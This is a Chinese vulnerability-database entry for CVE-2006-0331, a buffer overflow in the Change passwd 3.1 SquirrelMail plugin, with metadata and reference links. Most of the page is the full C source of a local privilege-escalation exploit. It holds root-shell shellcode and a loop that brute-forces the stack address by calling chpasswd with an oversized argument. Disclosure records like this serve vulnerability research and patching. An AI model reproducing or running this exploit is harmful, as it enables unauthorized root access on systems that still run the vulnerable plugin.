Change passwd SquirrelMail插件中缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109674 漏洞类型 缓冲区溢出
发布时间 2006-01-25 更新时间 2006-01-25
CVE编号 CVE-2006-0331 CNNVD-ID CNNVD-200601-269
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/1449
https://www.securityfocus.com/bid/86971
https://cxsecurity.com/issue/WLB-2006010050
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-269
|漏洞详情
Changepasswd3.1(chpasswd)SquirrelMail插件中存在缓冲区溢出,本地用户可以通过长命令行参数执行任意代码。
|漏洞EXP
/*
Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
  The bug allows a hacker to exploit the process to run arbitrary code.
*/

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
                      "\x89\xe5\x31\xc0\x50\x55\x89\xe5"
                      "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
                      "\x2f\x62\x69\x89\xe3\x89\xe9\x89"
                      "\xea\xb0\x0b\xcd\x80";

long get_sp(){
       __asm__("movl %esp,%eax;");
};

int main(){
       char buffer[1024];
       long stack = get_sp();
       int result = 1;
       long offset = 0;
       printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
       printf ("[+] Current stack [0x%x]\n",stack);
       while(offset <= 268435456){
       offset = offset + 1;
       stack = get_sp() + offset;
       memcpy(&buffer,"EGG=",4);
       int a = 4;
       while(a <= 108){
               memcpy(&buffer[a],"x",1);
               a = a + 1;}
       memcpy(&buffer[108],&stack,4);
       memcpy(&buffer[112],&shellcode,sizeof(shellcode));
       putenv(buffer);
       result = system("./chpasswd $EGG");
       if(result == 0){exit(0);};
       };
};

// milw0rm.com [2006-01-25]
|受影响的产品
Thiago Melo De Paula Change Passwd 3.1
|参考资料

来源:MISC
链接:http://www.squirrelmail.org/plugin_view.php?id=117
来源:BUGTRAQ
名称:20060119Changepasswd3.1(SquirrelMailplugin)
链接:http://www.securityfocus.com/archive/1/archive/1/422414/100/0/threaded
来源:XF
名称:changepassword-changepasswd-bo(24258)
链接:http://xforce.iss.net/xforce/xfdb/24258
来源:SREASON
名称:363
链接:http://securityreason.com/securityalert/363